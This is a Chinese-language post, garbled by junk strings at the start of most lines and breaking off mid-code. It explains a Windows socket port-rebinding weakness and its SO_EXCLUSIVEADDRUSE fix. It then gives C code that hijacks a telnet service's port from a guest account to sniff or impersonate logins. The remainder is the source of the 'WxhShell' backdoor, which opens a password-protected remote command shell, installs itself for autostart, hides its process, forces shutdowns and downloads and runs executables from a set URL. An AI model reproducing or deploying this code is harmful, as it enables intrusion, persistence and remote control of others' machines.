在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
UojHlTg#bT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
':[:12y[ GY[+HgT saddr.sin_family = AF_INET;
pEn3:.l< JOA_2qa>\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
w{HDCPuS YdT-E bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
uINm>$G,5 Z#i5=,Bk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
MUs~ZF "V>7u{T 这意味着什么?意味着可以进行如下的攻击:
:q+D`s F9Bj$`#) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:6
\?{xD _s&sA2r< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%mv9+WJN. G|"`kAa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
oV7A"8L^a ti)4J2c,8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~Xf&<&5d T m&h5u, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
N-+`[8@(P< 2qY+-yOEt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
k/|j e~$ o3mxtE] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
,iUYsY 3}}#'5D #include
x!<?/I)X #include
'za4c4b*u #include
-bq\2Yc$] #include
OSvv\3= DWORD WINAPI ClientThread(LPVOID lpParam);
6}vPwI int main()
ZUW~ZZ7Z: {
}+_Z|>qv WORD wVersionRequested;
9bDxml1 DWORD ret;
D-zqu~f` WSADATA wsaData;
+QqEUf<U*, BOOL val;
`B^HW8 SOCKADDR_IN saddr;
?2g\y@ SOCKADDR_IN scaddr;
u/@dWeY[] int err;
Xu1tN9:oE SOCKET s;
Z~.3)6,z SOCKET sc;
<.d0GD`^ int caddsize;
FDHa|<oz HANDLE mt;
={a8=E!; DWORD tid;
41595x: wVersionRequested = MAKEWORD( 2, 2 );
D;VFMP err = WSAStartup( wVersionRequested, &wsaData );
CVi3nS5Yl if ( err != 0 ) {
@jE<V=? printf("error!WSAStartup failed!\n");
O1nfz> L` return -1;
XZaei\rUn) }
#nL&x3 saddr.sin_family = AF_INET;
k^pf)*p l6X\.oI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?hu$ :EK.&%2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"[.adiw saddr.sin_port = htons(23);
#_tixg if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F:8cd^d~u {
nnU
&R printf("error!socket failed!\n");
OG_2k3v return -1;
f1'NWec }
?PIOuN= val = TRUE;
eeuTf //SO_REUSEADDR选项就是可以实现端口重绑定的
%2<G3]6^U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
s!q6OVJ- {
89>U Koc? printf("error!setsockopt failed!\n");
t`
R#pQ return -1;
,H3~mq] }
-*sDa6L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
k,xY\r$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qbjLTE= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
CQo<}}-o :[iWl8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
21$YZlhJ {
o;XzJ#P ret=GetLastError();
lPh>8:qFM printf("error!bind failed!\n");
z?HP%g'M~ return -1;
M@rknq@ }
.0:twj listen(s,2);
+$:bzo_u while(1)
sXm/+I^ {
W9~vBU caddsize = sizeof(scaddr);
}fW@8ji\ //接受连接请求
m4{F-++dk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:,$:@ if(sc!=INVALID_SOCKET)
6,sZo!G {
p4;A[2Ot`: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
LL+ROX^M if(mt==NULL)
u@\]r 1 {
gaaW:* *y printf("Thread Creat Failed!\n");
q/Dc*Qn
m break;
?Gc9^bB I }
>-YPCW }
,[}5@cS CloseHandle(mt);
q;a`*gX^ }
#EiOC.A= closesocket(s);
D!kv+<+ WSACleanup();
ngoo4}
return 0;
W is_N3M }
jk2h"):B> DWORD WINAPI ClientThread(LPVOID lpParam)
)cnB>Qul {
$d
M:
5y SOCKET ss = (SOCKET)lpParam;
#(C2KRRiA SOCKET sc;
E~5r8gM,0 unsigned char buf[4096];
EOu\7;kE9 SOCKADDR_IN saddr;
TJ3CXyRq long num;
TIbqUR DWORD val;
]w.:K*_= DWORD ret;
AAjsb<P //如果是隐藏端口应用的话,可以在此处加一些判断
+2!J 3{[J //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U`_(Lq%5W saddr.sin_family = AF_INET;
[Q&{#%M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
T_bk% saddr.sin_port = htons(23);
S?Q4u!FC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8Czy<}S<G {
w*`5b!+/ printf("error!socket failed!\n");
&o$E1;og return -1;
OI"vC1.5 }
|><hdBQXX< val = 100;
w4U]lg<}E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^'Wkb7L {
'NF_!D ret = GetLastError();
fyIL/7hzf4 return -1;
kRs(A~ngc
}
#W,BUN} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!4cR&@[ {
2bBTd@m4 ret = GetLastError();
z"8%W?o> return -1;
ucQ2/B#'4l }
YXxaD@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U2z1HIs {
|i'V\"
hW printf("error!socket connect failed!\n");
WUx}+3eWv closesocket(sc);
k L2(M6m closesocket(ss);
Reca5r1O return -1;
sh(G{Yz@ }
h')@NnFP1 while(1)
@O9.~6 {
w!o[pvyR$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.VN "j //如果是嗅探内容的话,可以再此处进行内容分析和记录
CrC1&F\dq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[<P(S~J num = recv(ss,buf,4096,0);
}N^.4HOS8 if(num>0)
z/u;afB9q send(sc,buf,num,0);
|r5 n p else if(num==0)
!a?$ break;
$6.CN# num = recv(sc,buf,4096,0);
3RG*:9 if(num>0)
r#
MJ send(ss,buf,num,0);
eeb`Ao else if(num==0)
FOiwB^$> break;
=4cK9ac }
j#d=V@=a closesocket(ss);
d;O16xcM/ closesocket(sc);
hI*gw3V return 0 ;
(&R/ns~
}
f<WP<!N% DdDO.@-Z s>(OK.o ==========================================================
c'n EbelE FWI<_KZO 下边附上一个代码,,WXhSHELL
IiTV*azVh o-\ K] ==========================================================
c}GmS@ ,.[T]37 #include "stdafx.h"
nN1\ d 2sY.L #include <stdio.h>
=TKu2 #include <string.h>
^6j: lL #include <windows.h>
>+y[HTf- #include <winsock2.h>
!_CBf#0 #include <winsvc.h>
6Mu_9UAl` #include <urlmon.h>
9}^nozR,I 9x@( K| #pragma comment (lib, "Ws2_32.lib")
-N;$L~`iAt #pragma comment (lib, "urlmon.lib")
.%;`:dtj SV#$Cf g #define MAX_USER 100 // 最大客户端连接数
;sd[Q01 #define BUF_SOCK 200 // sock buffer
94 58.!3 #define KEY_BUFF 255 // 输入 buffer
/f_w@TR\{ ^\=<geEj #define REBOOT 0 // 重启
)90 Q #define SHUTDOWN 1 // 关机
4FURm@C6 dbM~41C6 #define DEF_PORT 5000 // 监听端口
=K'X:UM Cw7
07 #define REG_LEN 16 // 注册表键长度
xR;>n[6 #define SVC_LEN 80 // NT服务名长度
-xs@rV` FG/". dU // 从dll定义API
FOJ-?s( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<,!8xp7,~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
278:5yC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
02B *cz_K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
pQv`fr= 3!E*h0$} // wxhshell配置信息
iUDN m|e struct WSCFG {
ROcI.tL int ws_port; // 监听端口
{*utke]}* char ws_passstr[REG_LEN]; // 口令
/)RyRS8c int ws_autoins; // 安装标记, 1=yes 0=no
v2=Iqo char ws_regname[REG_LEN]; // 注册表键名
/}+VH_N1 char ws_svcname[REG_LEN]; // 服务名
BG ,ln(Vz char ws_svcdisp[SVC_LEN]; // 服务显示名
oz3N
8^M char ws_svcdesc[SVC_LEN]; // 服务描述信息
ptJ58U$Bb
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*_feD+rq int ws_downexe; // 下载执行标记, 1=yes 0=no
)F_vWbg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Do1 Ip&X char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.*FBr7rE\ wUb5[m };
Gy}WZ9{ co!o+jP // default Wxhshell configuration
[+,%T;d; struct WSCFG wscfg={DEF_PORT,
2J?ON|2M "xuhuanlingzhe",
BK>3rjXi>a 1,
K1y] "Wxhshell",
D{'>G@nLQ "Wxhshell",
',Y`XP"Q "WxhShell Service",
z~Zu>Q1u[ "Wrsky Windows CmdShell Service",
gbvM2 "Please Input Your Password: ",
w:[1,rRvT 1,
RRSkXDU} "
http://www.wrsky.com/wxhshell.exe",
: jgvg$fd "Wxhshell.exe"
>O0z+tj };
R=Qa54 2;8I0BH*' // 消息定义模块
:+?eF^5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*=G~26*!V char *msg_ws_prompt="\n\r? for help\n\r#>";
_#f+@)vR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w4:|Z@ I char *msg_ws_ext="\n\rExit.";
NT(gXEZ char *msg_ws_end="\n\rQuit.";
^7b[spqE char *msg_ws_boot="\n\rReboot...";
Cn\5Vyrl char *msg_ws_poff="\n\rShutdown...";
6f=,$:S$ char *msg_ws_down="\n\rSave to ";
Z]L_{=* 0EWov~Y? char *msg_ws_err="\n\rErr!";
]IF
QD char *msg_ws_ok="\n\rOK!";
+=_^4 W~" 'a9H/ char ExeFile[MAX_PATH];
.>X0 $# int nUser = 0;
U2hPsF4f HANDLE handles[MAX_USER];
ucP"<,a int OsIsNt;
D./!/>@f i sK_t* SERVICE_STATUS serviceStatus;
<n#phU Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
Kivr)cIG 2Ra}&ie // 函数声明
^4G%*- int Install(void);
Pn?,56SD= int Uninstall(void);
Fa"/p_1 int DownloadFile(char *sURL, SOCKET wsh);
d17RJW%A int Boot(int flag);
st7\k]J\ void HideProc(void);
,Wbr;
zb int GetOsVer(void);
N<d0C int Wxhshell(SOCKET wsl);
?cyBF*o void TalkWithClient(void *cs);
0c-.h int CmdShell(SOCKET sock);
E*B6k!: int StartFromService(void);
4J~ZZ int StartWxhshell(LPSTR lpCmdLine);
7%MD0qm- "Y1]6
Zu VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c6 f=r VOID WINAPI NTServiceHandler( DWORD fdwControl );
G5l?c@o W5)R{w0`GD // 数据结构和表定义
CjQ)Bu*4 SERVICE_TABLE_ENTRY DispatchTable[] =
~10 >mg {
KfPYH\0 {wscfg.ws_svcname, NTServiceMain},
{s{bnU {NULL, NULL}
q
HU}EEv };
TA9Kg=_ z+5ZUS2~& // 自我安装
Yl$R$u) int Install(void)
t| cL! {
V7gv@<1<y char svExeFile[MAX_PATH];
)0 1,3J># HKEY key;
0[
BPmO6 strcpy(svExeFile,ExeFile);
#/,Wgs AC I$y6N"| // 如果是win9x系统,修改注册表设为自启动
lSG"c+iV if(!OsIsNt) {
8mc0(Z@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*+UgrsRk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xwJ.cy RegCloseKey(key);
ob_*fP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{CaTu5\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6OPYq*| RegCloseKey(key);
]ZI ?U<0 return 0;
xb (Cd }
AE@N:a }
svWQk9d }
W1!Nq` else {
n5U-D0/Q 2mt
S\bAF // 如果是NT以上系统,安装为系统服务
q(XO_1W0V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+t
JEG: if (schSCManager!=0)
K\VL[HP- {
GF/!@N SC_HANDLE schService = CreateService
L5RBe (
\2^_v'
>K schSCManager,
h?-*SLT wscfg.ws_svcname,
[h0.k"&[ wscfg.ws_svcdisp,
V"u .u SERVICE_ALL_ACCESS,
9`FPV`/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7Ap==J{a SERVICE_AUTO_START,
Z1Pdnc7S[ SERVICE_ERROR_NORMAL,
EG#mNpxE svExeFile,
y{#9&ct& NULL,
T\OpPSYbl NULL,
$gPR3*0 NULL,
]m=2 $mK NULL,
Y7GHIzX NULL
B(ZK\] );
2S@aG%-) if (schService!=0)
s;Sv@=\ {
gCP f1z CloseServiceHandle(schService);
B4RP~^ CloseServiceHandle(schSCManager);
XdV(=PS!a@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N6<G`k, strcat(svExeFile,wscfg.ws_svcname);
64 83v' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
di|5|bn7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8-geBlCE, RegCloseKey(key);
j1i<.,0g return 0;
f2,\B6+ }
=LyRCrA }
uD8,E!\ CloseServiceHandle(schSCManager);
\Pt_5.bTs[ }
qu+Zl1~$] }
#Nv)SCc jA,|.P> return 1;
h/xV;oj }
jr3FDd] q6AL}9]9 // 自我卸载
@mm~i~~KA int Uninstall(void)
8I)}c1j`v {
R.)w
l HKEY key;
3x3 =ke! "jA?s9 if(!OsIsNt) {
2&KM&NX~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a<Ksas'5S RegDeleteValue(key,wscfg.ws_regname);
D]*<J"/]d RegCloseKey(key);
jImw_Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h$_5)d~ RegDeleteValue(key,wscfg.ws_regname);
#4wia%}u RegCloseKey(key);
~(Xzm return 0;
^#p+#_*V }
i$"M'BG }
4fgYO] }
DU lvlQW else {
[e?vqm . [l:}#5\]4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
x2.YEuSMC if (schSCManager!=0)
tJ9-8ZT* {
Mx_O'D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^M7pCetjdW if (schService!=0)
ZO\x|E!b {
@*"H{xo.U if(DeleteService(schService)!=0) {
0;n}{26a CloseServiceHandle(schService);
&p83X CloseServiceHandle(schSCManager);
1azj%WY return 0;
XyrQJ}WR| }
`71(wf1q[f CloseServiceHandle(schService);
~X<Ie9m1x }
GQ])y CloseServiceHandle(schSCManager);
zOsk'ZE& }
Rt3/dw(p }
hVf;{p
& "|6763.{4 return 1;
tEjT$`6hp }
M#o'h c 4>}qdR1L4 // 从指定url下载文件
3.E3}Jz` int DownloadFile(char *sURL, SOCKET wsh)
|]+PDc% {
r"_SL!,^ HRESULT hr;
>Q% FW char seps[]= "/";
`Yw:<w\4C
char *token;
w3Z;&sFd char *file;
PsCr[\Ul char myURL[MAX_PATH];
{/}p"(^ char myFILE[MAX_PATH];
_8ubo\M~ ]m@p? A$
strcpy(myURL,sURL);
D+('1E? token=strtok(myURL,seps);
C)R#Om while(token!=NULL)
CA5q(ID_ {
O#3PUuE%d file=token;
+xn59V token=strtok(NULL,seps);
WR5W0!'Tf }
M TOZ:b ) ={
H GetCurrentDirectory(MAX_PATH,myFILE);
,*j@Zb_r strcat(myFILE, "\\");
st-I7K\v strcat(myFILE, file);
vR?E'K3 send(wsh,myFILE,strlen(myFILE),0);
FC
}r~syqA send(wsh,"...",3,0);
cC7&]2X +f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
q^^&nz<A if(hr==S_OK)
`~+[pY1r return 0;
2'5u}G9 else
R/@n+tbe return 1;
HrH!
'bd BX-fV| }
IfzZ\x
. SeIL // 系统电源模块
8s)(e9Sr int Boot(int flag)
{LoNp0i1a {
Hwiftx HANDLE hToken;
$@@@</VbP TOKEN_PRIVILEGES tkp;
f}uW(:f X-}]?OOs if(OsIsNt) {
,pR.HCR#Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"d
c-
! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
MHF7hk ps} tkp.PrivilegeCount = 1;
[6cf$FS9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
gib'f@i ; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<jIuVX if(flag==REBOOT) {
<z
R
CT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
JHCXUT-r{ return 0;
VGeyZ\vU }
8 GW0w else {
*(CV OY~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
TpAso[r return 0;
uE-|]QQo }
prO ~g }
E4qQ else {
)POU58$ if(flag==REBOOT) {
&"mWi-Mpl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)bl^:C return 0;
_l{_n2D- }
0q_?<v_1 else {
3eR c>^wh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
iKA}??5e return 0;
,FWsgqL{l }
Z^6qxZJ7 }
@ w?,7i-S Fb<fQIa return 1;
{\ ]KYI0 }
8<PQ31 &*9' 0 // win9x进程隐藏模块
0i~?^sT' void HideProc(void)
Bnh*;J0 {
Q+; N(\ ~en' E HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,)Z1&J? if ( hKernel != NULL )
2|$G<f {
\JBPZ~N3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)W |_f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O1Nya\^g<I FreeLibrary(hKernel);
_E8doV }
,QPo%{:p `P?!2\/ return;
W
![*0pL }
UqNUP+K F`M`c% // 获取操作系统版本
$\q}A: int GetOsVer(void)
i9v|*ZM" {
e~PAi8B5 OSVERSIONINFO winfo;
O]80";Uv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`Tc"a_p9t GetVersionEx(&winfo);
} bm ^`QY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i^}ib
RQbN return 1;
y)mtSA8 else
51Q~/ return 0;
q*7:L }
)uC5 f J+ // 客户端句柄模块
e,Sxu[2 int Wxhshell(SOCKET wsl)
ub]"b[j\1 {
:&BE-f SOCKET wsh;
<b_?[%(u struct sockaddr_in client;
CtE <9? DWORD myID;
cHX~-:KOr
495A\8# while(nUser<MAX_USER)
+l;A L5h {
z9JZV`dNgz int nSize=sizeof(client);
5Yr$tl\k wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
S)x5.vo^ if(wsh==INVALID_SOCKET) return 1;
{!xDJnF; +u;RFY^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/A93mY[ if(handles[nUser]==0)
2q ~y\fe closesocket(wsh);
@6%o0p9zz else
Ir6g"kwCKq nUser++;
>r.W \ }
G-5ezVli WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h
I7ur i/RA/q return 0;
(w-@b70E }
6xoCB/] aRcVoOq // 关闭 socket
s=hao4v7z void CloseIt(SOCKET wsh)
b)7v-1N {
kHd`k.nW closesocket(wsh);
3]h*6V1$ nUser--;
Y'76! Y ExitThread(0);
;&$f~P Q }
Dr5AJ`y9A 1@xdzKua1 // 客户端请求句柄
3ICM H
void TalkWithClient(void *cs)
!7Nz_d~n {
d0;<Cw~Tl a LJ
d1Q SOCKET wsh=(SOCKET)cs;
Or:P*l char pwd[SVC_LEN];
,M=s3D8C char cmd[KEY_BUFF];
sf8F h char chr[1];
@@H?w7y?& int i,j;
Lmw4 Y=Om0=v while (nUser < MAX_USER) {
5=/j >1 hhz if(wscfg.ws_passstr) {
}ZJJqJ`*e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m^>v~Q~~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TNlOj a: //ZeroMemory(pwd,KEY_BUFF);
RKy!=#;17 i=0;
$ EexNz while(i<SVC_LEN) {
6 tl#AJ- ;),vUu,k // 设置超时
^Vg-fO]V fd_set FdRead;
r0q?e`nsA struct timeval TimeOut;
OJD!Ar8Q FD_ZERO(&FdRead);
{\gpXVrn_ FD_SET(wsh,&FdRead);
QypUBf TimeOut.tv_sec=8;
p{AX"|QM" TimeOut.tv_usec=0;
P4fnBH4OQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
BbhC0q"J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4@QR2K| =3EjD;2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
DA>TT~L pwd
=chr[0]; }WHq?
if(chr[0]==0xd || chr[0]==0xa) { i?f;C_w
pwd=0; |q
c <C&O
break; !o\e/HGc!
} lYS*{i1^ '
i++; .mplML0oW
} 9ePom'1f1
J~AmRo0!k
// 如果是非法用户,关闭 socket ,n$NF0^l
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /rHlFl|Wy
} B`:l;<&jX
q4Mv2SPT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -6$GM J7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5YYBX\MV
OoQLR
while(1) { z
fu)X!t^
>4J(\'}m|
ZeroMemory(cmd,KEY_BUFF); g]E3+: 5dk
C8D`:k
// 自动支持客户端 telnet标准 KbMan~Pb6
j=0; Ey%KbvNv
while(j<KEY_BUFF) { e-#Vs{?|r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'V\V=yc1
cmd[j]=chr[0]; a%5/Oc[[
if(chr[0]==0xa || chr[0]==0xd) { 1u"#rC>7.4
cmd[j]=0; EI496bsRHm
break; k"6&&
} ZEso2|
j++; l#Vg=zrT
} 3i~X`@$k>
ij1YV2v
// 下载文件 R2JPLvs
if(strstr(cmd,"http://")) { r1 b"ta
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !+]KxB
if(DownloadFile(cmd,wsh)) u:^sEk"Lk'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0{
else Z\cD98B#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "C?H:8W
} yCN?kHG
else { MBAj.J
GWv i
switch(cmd[0]) { hzT)5'_
g>l+oH[Tv|
// 帮助 '.C#"nY>1
case '?': { wD4[UU?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]LEaoOecu
break; >GLoeCRNu
} .R
l7,1\
// 安装 ;#9ioGx
case 'i': { =3!o_
if(Install()) M&)\PbMc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @_W13@|
else JW)f'r_f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g@T}h[
break; aNA]hl
} 9M5W4&
// 卸载 #sxv?r
case 'r': { ZCViZWo
if(Uninstall()) ]"~
x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,S1|R
else crN*eFeW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -m@PqJF^
break; lQBEq"7$
} ]^T-X/v9
// 显示 wxhshell 所在路径 - Ry+WS=
case 'p': { ;FW <%
char svExeFile[MAX_PATH]; <XQwu*_\
strcpy(svExeFile,"\n\r"); 53gLz_ee
strcat(svExeFile,ExeFile); _ Yc"{d3S
send(wsh,svExeFile,strlen(svExeFile),0); vB}c6A4'U
break; g7a446QR\K
} {+nf&5E 6
// 重启 =,h'}(z_
case 'b': { :0QDV~bs
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SOn)'!g
if(Boot(REBOOT)) ZO/u3&gU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wc.=`Me
else { nO!&;E&
closesocket(wsh); &0tW{-Hv"
ExitThread(0); H7z)OaM
} jT}={[9b
break; M=lU`Sm
} +:4>4=
// 关机 >TY;l3ew
case 'd': { 1dw{:X=j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cjJfxD&q
if(Boot(SHUTDOWN)) GqR|hg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~J&-~<%P}
else { {\CWoFht>
closesocket(wsh); 2[HPU M2>
ExitThread(0); ,[zSz8R
} I`H&b&
.`
break; 0<a|=kZ
} _#NibW
// 获取shell jC4>%!{m
case 's': { 2xf lRks
CmdShell(wsh); F8"J<VJ7
closesocket(wsh); Pd\4hy
ExitThread(0); 4=/jh:h
break; Z,e|L4&
} q,O_y<uw
// 退出 mL2J
case 'x': { _:=\h5}8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s_XCKhN:
CloseIt(wsh); wbrOL(q.m
break; z k/`Uz
} wT\BA'VQ
// 离开 tWTHyL
case 'q': { 4
ZnQpKg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); cx$h"
closesocket(wsh); 2[ofz}k]r)
WSACleanup(); t;6<k7h
exit(1); vj%"x/TP
break; 6qFzo1LO
} ^tGAJ_b79
} R/Bjc}J'
} v:QUwW
][jwy-Uy;
// 提示信息 w01[oU$x=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Y3i-jY
} or3OLBf* Q
} jI7 x<=
U&1O
return; |ugdl|f
} 1C{0 R.
XYuX+&XW/
// shell模块句柄 QUn!&55
int CmdShell(SOCKET sock) tj~r>SRb+
{ ~6n|GxR.[
STARTUPINFO si; qsW&kW~
ZeroMemory(&si,sizeof(si)); <b,WxR`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v4s4D1}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )VkVZf | S
PROCESS_INFORMATION ProcessInfo; s 0Uid&qE
char cmdline[]="cmd"; W9Azp8)p]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jn|NrvrX
return 0; m_oUl(pk
} \O"H#gt
$I*}AUp
v?
// 自身启动模式 jyW={%&
int StartFromService(void) Mb2a;s
{ *sU,waX
typedef struct g$Y]{VM.J
{ aC2Vz9e
DWORD ExitStatus; &,%n
DWORD PebBaseAddress; g 4=1['wW
DWORD AffinityMask; ,+`r2}N
\/
DWORD BasePriority; _]o7iqtv
